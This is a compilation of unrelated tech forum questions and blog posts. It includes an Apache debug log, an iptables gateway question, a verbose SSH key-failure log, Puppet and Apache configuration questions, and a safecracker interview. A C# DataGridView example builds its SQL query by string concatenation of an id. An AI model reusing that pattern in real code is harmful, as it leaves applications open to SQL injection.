child 26528 for (*) [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 26529 for worker proxy:reverse [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 26529 for (*) [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 26530 for worker proxy:reverse [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 26530 for (*) [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 26532 for worker proxy:reverse [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 26532 for (*) [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 26533 for worker proxy:reverse [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 26533 for (*) [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 26534 for worker proxy:reverse [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 26534 for (*) [Thu Jan 06 14:47:05 2011] [notice] Apache/2.2.3 (CentOS) configured -- resuming normal operations [Thu Jan 06 14:47:05 2011] [info] Server built: Aug 30 2010 12:32:08 [Thu Jan 06 14:47:05 2011] [debug] prefork.c(991): AcceptMutex: sysvsem (default: sysvsem) [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 26531 for worker proxy:reverse [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 26531 for (*) The logs are setup as: ErrorLog logs/error_log LogLevel debug LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent CustomLog logs/access_log common CustomLog logs/access_log combined ServerSignature On

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• Unable to find a disable button for pop-up bubbles in 2.8.0.851

  - by Greg Richards

  I'm still using 2.8.0.722 on my Mac while a friend has upgraded to 2.8.0.851 The newer version on her computer has pop-up bubbles for every chat message when the chat window is minimized. Neither of us are able to find where to disable this feature. The difficulty arises when we minimize a chat window, but the bubbles continue to show everything the other person is typing, even when one of our kids is with us for a moment looking at something else on the screen. We have checked all throughout the Preferences settings, most notably the privacy and chat areas, to no avail. Ultimately we would like to disable these chat pop-up bubbles so that when a chat window is minimized, that conversation and all incoming messages will remain private until we restore that chat box to be viewable on the screen again. Thanks! Greg

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• Would firewire networking be better than 100Megabit ethernet?

  - by Josh

  My office network has a fully switched 1000Megabit ethernet network. I have an Apple iMac with a Gigabit NIC and FireWire, and a Compaq laptop with a 100Megabit NIC and a 4-pin FireWire interface. Accessing my office's shared drives using my laptop is (obviously) much loswer using my laptop than my iMac. Would I see a noticeible performance boost if I enabled Internet Connection Sharing on my iMac and shared the private ethernet network from my iMac with my laptop over FireWire? FireWire is 480Mbit/sec, right? So would I see roughly 4x speed improvement with such a setup?

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• IP tables gateway

  - by WojonsTech

  I am trying to make an iptables gateway. I ordered 3 dedicated server from my hosting company all with dual nics. One server has been given all the ip addresses and is connected directly to the internet and has its other nic connected to a switch where the other servers are all connected also. I want to setup iptables so for example the ip address 50.0.2.4 comes into my gateway server it fowards all the traffic to a private ip address using the second nic. This way the second nic can do what ever it needs and can respond back also. I also want it setup that if any of the other servers needs to download anything over the inernet it is able to do so and by using the same ip address that is used for its incomming traffic. Lastly I would like to be able to setup dns and other needed networking stuff that i maybe not thinking about.

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• Edit in desktop application with DataGridView

  - by SAMIR BHOGAYTA

  private void DataGridView_CellContentClick(object sender, DataGridViewCellEventArgs e) { if (e.ColumnIndex == 0) { string s = DataGridView.Rows[e.RowIndex].Cells[1].FormattedValue.ToString(); srno = Convert.ToInt16(s); FormName objFrm = new FormName(s); objFrm.MdiParent = this.MdiParent; objFrm.Show(); } } //Into the New Form public FormName(string id) { uid = id; i = Convert.ToInt16(id); InitializeComponent(); } //Get Detail As per id public void GetDetail() { string detail = "SELECT fieldname1,fieldname2 FROM TableName where PrimaryKeyField = "+id+""; DataSet ds = new DataSet(); ds = (DataSet)prm.RetriveData(detail); } //RetriveData Function public object RetriveData(string query) { // If you have sql connection use SqlConnection OleDbConnection con = new OleDbConnection(constr); OleDbDataAdapter drap = new OleDbDataAdapter(query, con); con.Open(); DataSet ds = new DataSet(); drap.Fill(ds); con.Close(); return ds; }

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• SSH Login to an EC2 instance failing with previously working keys...

  - by Matthew Savage

  We recently had an issues where I had rebooted our EC2 instance (Ubuntu x86_64, version 9.10 server) and due to an EC2 issue the instance needed to be stopped and was down for a few days. Now I have been able to bring the instance back online I cannot connect to SSH using the keypair which previously worked. Unfortunately SSH is the only way to get into this server, and while I have another system running in its place there are a number of things I would like to try and retrieve from the machine. Running SSH in verbose mode yields the following: [Broc-MBP.local]: Broc:~/.ssh ? ssh -i ~/.ssh/EC2Keypair.pem -l ubuntu ec2-xxx.compute-1.amazonaws.com -vvv OpenSSH_5.2p1, OpenSSL 0.9.8l 5 Nov 2009 debug1: Reading configuration data /Users/Broc/.ssh/config debug1: Reading configuration data /etc/ssh_config debug2: ssh_connect: needpriv 0 debug1: Connecting to ec2-xxx.compute-1.amazonaws.com [184.73.109.130] port 22. debug1: Connection established. debug3: Not a RSA1 key file /Users/Broc/.ssh/EC2Keypair.pem. debug2: key_type_from_name: unknown key type '-----BEGIN' debug3: key_read: missing keytype debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug2: key_type_from_name: unknown key type '-----END' debug3: key_read: missing keytype debug1: identity file /Users/Broc/.ssh/EC2Keypair.pem type -1 debug3: Not a RSA1 key file /Users/Broc/.ssh/id_rsa. debug2: key_type_from_name: unknown key type '-----BEGIN' debug3: key_read: missing keytype debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug2: key_type_from_name: unknown key type '-----END' debug3: key_read: missing keytype debug1: identity file /Users/Broc/.ssh/id_rsa type 1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.1p1 Debian-6ubuntu2 debug1: match: OpenSSH_5.1p1 Debian-6ubuntu2 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.2 debug2: fd 3 setting O_NONBLOCK debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,[email protected] debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,[email protected] debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,[email protected],hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,[email protected],hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,[email protected],zlib debug2: kex_parse_kexinit: none,[email protected],zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,[email protected],aes128-ctr,aes192-ctr,aes256-ctr debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,[email protected],aes128-ctr,aes192-ctr,aes256-ctr debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,[email protected],hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,[email protected],hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,[email protected] debug2: kex_parse_kexinit: none,[email protected] debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_setup: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug2: mac_setup: found hmac-md5 debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug2: dh_gen_key: priv key bits set: 123/256 debug2: bits set: 500/1024 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug3: check_host_in_hostfile: filename /Users/Broc/.ssh/known_hosts debug3: check_host_in_hostfile: match line 106 debug3: check_host_in_hostfile: filename /Users/Broc/.ssh/known_hosts debug3: check_host_in_hostfile: match line 106 debug1: Host 'ec2-xxx.compute-1.amazonaws.com' is known and matches the RSA host key. debug1: Found key in /Users/Broc/.ssh/known_hosts:106 debug2: bits set: 521/1024 debug1: ssh_rsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /Users/Broc/.ssh/id_rsa (0x100125f70) debug2: key: /Users/Broc/.ssh/EC2Keypair.pem (0x0) debug1: Authentications that can continue: publickey debug3: start over, passed a different list publickey debug3: preferred publickey,keyboard-interactive,password debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Offering public key: /Users/Broc/.ssh/id_rsa debug3: send_pubkey_test debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey debug1: Trying private key: /Users/Broc/.ssh/EC2Keypair.pem debug1: read PEM private key done: type RSA debug3: sign_and_send_pubkey debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey debug2: we did not send a packet, disable method debug1: No more authentication methods to try. Permission denied (publickey). [Broc-MBP.local]: Broc:~/.ssh ? So, right now I'm really at a loss and not sure what to do. While I've already got another system taking the place of this one I'd really like to have access back :|

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• Booby Traps and Locked-in Kids: An Interview with a Safecracker

  - by Jason Fitzpatrick

  While most of our articles focus on security of the digital sort, this interview with a professional safecracker is an interesting look the physical side of securing your goods. As part of their Interviews with People Who Have Interesting or Unusual Jobs series over at McSweeney’s, they interviewed Ken Doyle, a professional a locksmithing and safecracking veteran with 30 years of industry experience. The interview is both entertaining and an interesting read. One of the more unusual aspects of safecracking he highlights: Q: Do you ever look inside? A: I NEVER look. It’s none of my business. Involving yourself in people’s private affairs can lead to being subpoenaed in a lawsuit or criminal trial. Besides, I’d prefer not knowing about a client’s drug stash, personal porn, or belly button lint collection. When I’m done I gather my tools and walk to the truck to write my invoice. Sometimes I’m out of the room before they open it. I don’t want to be nearby if there is a booby trap. Q: Why would there be a booby trap? A: The safe owner intentionally uses trip mechanisms, explosives or tear gas devices to “deter” unauthorized entry into his safe. It’s pretty stupid because I have yet to see any signs warning a would-be culprit about the danger. HTG Explains: Why Linux Doesn’t Need Defragmenting How to Convert News Feeds to Ebooks with Calibre How To Customize Your Wallpaper with Google Image Searches, RSS Feeds, and More

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• Google+ Platform Office Hours for March 21, 2012: JavaScript and the REST APIs

  Google+ Platform Office Hours for March 21, 2012: JavaScript and the REST APIs It's a blast from the past. Here's the video from our office hours held on the 20th of March. In this session Jonathan and Wolff guided you through using the REST APIs with JavaScript. Get the source code: goo.gl Discuss this video on Google+: goo.gl 1:05 - How to use JSONP to access the REST APIs in JavaScript 2:30 - Setting up a new project in the API console 7:06 - The client libraries, what are they? 8:39 - Using the JavaScript client library to reimplement our example 13:27 - About OAuth and private resources 14:26 - Creating an OAuth client using the API console - The JavaScript client library discussion group - goo.gl 24:14 - Using the JavaScript client library and REST APIs from within a hangout - hangoutbots.blogspot.com Q&A 19 - Are you planning to change the +1 button back? 20:14 - Will this video be posted to YouTube? (Spoiler: the answer is yes) 20:43 - Do you read your issues list? - The Google+ platform issue tracker: goo.gl From: GoogleDevelopers Views: 2808 33 ratings Time: 27:03 More in Science & Technology

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• migrating puppet clients to a new puppet master (old puppet master server gone, only using backup)

  - by user47650

  My puppet master server had a hardware failure, and I have restored to another box. However this box has different hardware and hostname. If I restore the existing /etc/puppet directory to the new server, the puppetmaster will not start with the following error; # puppetmasterd --debug --verbose Could not prepare for execution: Retrieved certificate does not match private key; please remove certificate from server and regenerate it with the current key So what steps do I need to take to allow the new puppetmaster to start, and to generate a new puppetmaster certificate using the old ca.. Also will the puppet clients actually report in to a different puppet server using a server certificate that has been generated with the old CA?

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• What micro web-framework has the lowest overhead but includes templating

  - by Simon Martin

  I want to rewrite a simple small (10 page) website and besides a contact form it could be written in pure html. It is currently built with classic asp and Dreamweaver templates. The reason I'm not simply writing 10 html pages is that I want to keep the layout all in 1 place so would need either includes or a masterpage. I don't want to use Dreamweaver templates, or batch processing (like org-mode) because I want to be able to edit using notepad (or Visual Studio) because occasionally I might need to edit a file on the server (Go Daddy's IIS admin interface will let me edit text). I don't want to use ASP.NET MVC or WebForms (which I use in my day job) because I don't need all the overhead they bring with them when essentially I'm serving up 9 static files, 1 contact form and 1 list of clubs (that I aim to use jQuery to filter). The shared hosting package I have on Go Daddy seems to take a long time to spin up when serving aspx files. Currently the clubs page is driven from an MS SQL database that I try to keep up to date by manually checking the dojo locator on the main HQ pages and editing the entries myself, this is again way over the top. I aim to get a text file with the club details (probably in JSON or xml format) and use that as the source for the clubs page. There will need to be a bit of programming for this as the HQ site is unable to provide an extract / feed so something will have to scrape the site periodically to update my clubs persistence file. I'd like that to be automated - but I'm happy to have that triggered on a visit to the clubs page so I don't need to worry about scheduling a job. I would probably have a separate process that updates the persistence that has nothing to do with the rest of the site. Ideally I'd like to use Mercurial (or git) to publish, I know Bitbucket (and github) both serve static page sites so they wouldn't work in this scenario (dynamic pages and a contact form) but that's the model I'd like to use if there is such a thing. My requirements are: Simple templating system, 1 place to define header, footers, menu etc., that can be edited using just notepad. Very minimal / lightweight framework. I don't need a monster for 10 pages Must run either on IIS7 (shared Go Daddy Windows hosting) or other free host

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• Open World Day 1 Continued

  - by Antony Reynolds

  A Day in the Life of an Oracle OpenWorld Attendee Part II A couple of things I forgot to mention about yesterdays OpenWorld. First I attended a presentation on SOA Suite and Virtualization which explained how Oracle Virtual Assembly Builder (OVAB) can be used to accelerate the deployment of an Enterprise Deployment Guide (EDG) compliant SOA Suite infrastructure.  OVAB provides the ability to introspect a deployed software component such as WebLogic Server, SOA Suite or other components and extract the configuration and package it up for rapid deployment into an Oracle Virtual Machine.  OVAB allows multiple machines to be configured and connections made between the machines and outside resources such as databases.  That by itself is pretty cool and has been available for a while in OVAB.  What is new is that Oracle has done this for an EDG compliant installations and made it available as an OVAB assembly for customers to use, significantly accelerating the deployment of an EDG deployment.  A real help for customers standing up EDG environments, particularly in test, dev and QA environments. The other thing I forgot to mention was the most memorable demo I saw at OpenWorld.  This was done by my co-author Matt Wright who was showcasing the products of his company Rubicon Red.  They showed a really cool application called OneSpot which puts all the information about a single users business processes in one spot!  Apparently a customer suggested the name.  It allows business flows to be defined that map onto events.  As events occur the status of the business flow is updated to reflect the change.  The interface is strongly reminiscent of social media sites and provides a graphical view of business flows.  So how does this differ from BPEL and BPM process flows?  The OneSpot process flow is more like a BAM process flow, it is based on events arriving from multiple sources, and is focused on the clients view of the process, not the actual business process.  This is important because it allows an end user to get a view of where his current business flow is and what actions, if any, are required of him.  This by itself is great, but better still is that OneSpot has a real time updating view of events that have occurred (BAM style no need to refresh the browser).  This means that as new events occur the end user can see them and jump to the business flow or take other appropriate actions.  Under the covers OneSpot makes use of Oracle Human Workflow to provide a forms interface, but this is not the HWF GUI you know!  The HWF GUI screens are much prettier and have more of a social media feel about them due to their use of images and pulling in relevant related information.  If you are at OOW I strongly recommend you visit Matt or John at the Rubicon Red stand and ask, no demand a demo of OneSpot!

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• Which Apache modules are safe to disable?

  - by Gaia

  Each Apache process is using about 70MB of private/rss memory, so I would like to lean them up a bit. The server runs Magento and Wordpress only. PHP is run as fcgid. Which modules would you consider safe to disable? Loaded Modules: core_module (static) mpm_prefork_module (static) http_module (static) so_module (static) auth_basic_module (shared) auth_digest_module (shared) authn_file_module (shared) authn_alias_module (shared) authn_anon_module (shared) authn_dbm_module (shared) authn_default_module (shared) authz_host_module (shared) authz_user_module (shared) authz_owner_module (shared) authz_groupfile_module (shared) authz_dbm_module (shared) authz_default_module (shared) ldap_module (shared) authnz_ldap_module (shared) include_module (shared) log_config_module (shared) logio_module (shared) env_module (shared) ext_filter_module (shared) mime_magic_module (shared) expires_module (shared) deflate_module (shared) headers_module (shared) usertrack_module (shared) setenvif_module (shared) mime_module (shared) dav_module (shared) status_module (shared) autoindex_module (shared) info_module (shared) dav_fs_module (shared) vhost_alias_module (shared) negotiation_module (shared) dir_module (shared) actions_module (shared) speling_module (shared) userdir_module (shared) alias_module (shared) substitute_module (shared) rewrite_module (shared) proxy_module (shared) proxy_balancer_module (shared) proxy_ftp_module (shared) proxy_http_module (shared) proxy_ajp_module (shared) proxy_connect_module (shared) cache_module (shared) suexec_module (shared) disk_cache_module (shared) cgi_module (shared) version_module (shared) sed_module (shared) security2_module (shared) unique_id_module (shared) fcgid_module (shared) evasive20_module (shared) perl_module (shared) php5_module (shared) ssl_module (shared) dav_svn_module (shared) authz_svn_module (shared)

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• VS.NET 2010 SP1, Win 7, Parallels, and a MBP&ndash;Hell, my friends&hellip;HELL!

  - by D'Arcy Lussier

  LightSwitch Beta 2 is out. That’s how all this started. All I wanted was to install it on my MBP’s Win7 Parallels VM. But as I’m finding with running a Win7 VM on a MBP, nothing is as easy as it should be. First my MBP froze during the SP1 installation. Not my VM crashing, the entire machine freezing…no mouse, nothing. Had to do a hard reset. BLECH. Then we’re back and I try to re-install SP1 (since the first try obviously failed). I get met with a dialog asking me where silverlight_sdk.msi was. It was *nowhere*! So I hit the net and download it from Microsoft’s site. Unfortunately, it only downloads an exe and not the individual files which would include the msi. Here’s what I did: - Download the tools for Silverlight 4 (http://www.microsoft.com/downloads/en/details.aspx?FamilyID=b3deb194-ca86-4fb6-a716-b67c2604a139&displaylang=en) - Run it, but don’t hit the install or next button when the dialog comes up - Look in your file structure for a folder with a weird name…bunch of numbers and letters. This is a temp folder that the exe creates and dumps all the necessary setup files into, and clears away after its done. - Inside this folder you’ll find the silverlight_sdk.msi (hooray!). Just copy it to a different location on the C drive. You can then cancel installation. Ok, so that takes care of that…but then running the SP1 installer I get hit with *another* dialog asking for the WCF RIA Services SP1 msi. Now it looks like this MSI is part of the Silverlight Tools package because you’ll see the MSI, but the VS.NET 2010 SP1 installer will thumb its nose at this unworthy msi…for whatever reason. So instead, go here: http://www.silverlight.net/getstarted/riaservices/ …and click on the “Install WCF Ria Services Sp1…” option. This downloads the msi, which you should save to your C drive and direct the VS.NET 2010 SP1 installer to. Then, if you’ve done all that, been good all year, and not made any little children cry, you *might* just be able to install VS.NET 2010 SP1 on your Parallels VM. If you were playing that “Take a shot every time he writes VS.NET 2010 Sp1” drinking game, then you’re drunk…which is a better place to be than where I am right now: watching the installation progress bar slowly creep to completion, hoping there’s no more surprises in store. D

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